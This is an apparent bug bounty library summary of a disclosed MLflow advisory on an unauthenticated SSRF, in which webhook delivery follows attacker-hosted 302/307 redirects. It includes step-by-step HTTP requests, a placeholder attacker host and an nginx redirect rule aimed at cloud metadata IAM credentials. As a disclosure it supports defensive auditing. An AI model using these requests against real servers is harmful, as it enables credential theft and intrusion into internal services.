# MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)

Unauthenticated MLflow webhook /test endpoint follows attacker 302 redirects past _validate_webhook_url, letting attackers read cloud metadata and internal services.

- Payout: Research
- Severity: critical
- Program: MLflow
- Found by: freeman-bb, y011d4, ibondarenko1, h1-mrz
- Disclosed: 2026-08-17
- CVE: CVE-2026-64849
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7gwp-5pfp-969j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7gwp-5pfp-969j
- Tags: area:cloud domain:cloud domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix technique:source-review vuln:misconfiguration vuln:ssrf

**Target:** MLflow Tracking Server webhooks API (/api/2.0/mlflow/webhooks)
**Root cause:** _validate_webhook_url resolves and checks the original hostname but never pins the validated IP into the connection, and webhook delivery follows HTTP redirects without re-validating the Location target.
**Steps:**
1. Negative control: `POST /api/2.0/mlflow/webhooks` with `{"name":"neg","url":"http://127.0.0.1:6379/",...}` returns 400 'Invalid webhook URL scheme'.
2. Host an HTTPS server on `{{ATTACKER}}` with valid TLS returning `302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/`.
3. Create webhook: `POST /api/2.0/mlflow/webhooks` body `{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}` -> 200 with webhook_id.
4. Trigger: `POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test` body `{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}`.
5. Read `result.response_body` containing the internal response fetched by the server.
**How found:** Code review of the PR #20747 guard: noticed _validate_webhook_url resolves the hostname but the resolved IP is never carried into the connection, and delivery calls session.post without allow_redirects=False, so redirect targets and re-resolved DNS are never re-validated.
**Exploitation:** Attacker needs only network reach to a default unauthenticated MLflow server. They register a webhook to their own public HTTPS host (passes the https-only + is_global guard), then call the synchronous /test endpoint which makes the server POST to the attacker host; the 302 is followed to an internal/metadata URL and the response body is reflected back in WebhookTestResult.response_body. 307/308 variants preserve POST method/body for blind writes into internal management endpoints (Docker /stop, Elasticsearch /_close, Actuator /shutdown).
**Escalation:** 302 gives full-read of internal HTTP responses (AWS IMDS IAM creds, internal admin services, port scanning); 307/308 gives blind write into private-network POST endpoints.
**Insight:** When auditing SSRF guards, check whether the validated IP is actually pinned to the socket (connect-time peer check) — a getaddrinfo check alone is bypassable by redirects and DNS rebinding; also check whether any synchronous 'test' endpoint reflects the upstream body, turning blind SSRF into full-read.

## Proof of concept (copied exactly from the original report)

**Create webhook pointing at attacker HTTPS host**

```
POST /api/2.0/mlflow/webhooks HTTP/1.1
    Host: {{TARGET}}
    Content-Type: application/json

    {"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

    -> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
```

**Fire /test to read internal response body**

```
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
    Host: {{TARGET}}
    Content-Type: application/json

    {"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

    -> 200 {"result":{"success":true,"response_status":200,
            "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
```

**Attacker nginx 302 redirect to metadata**

```
nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
```

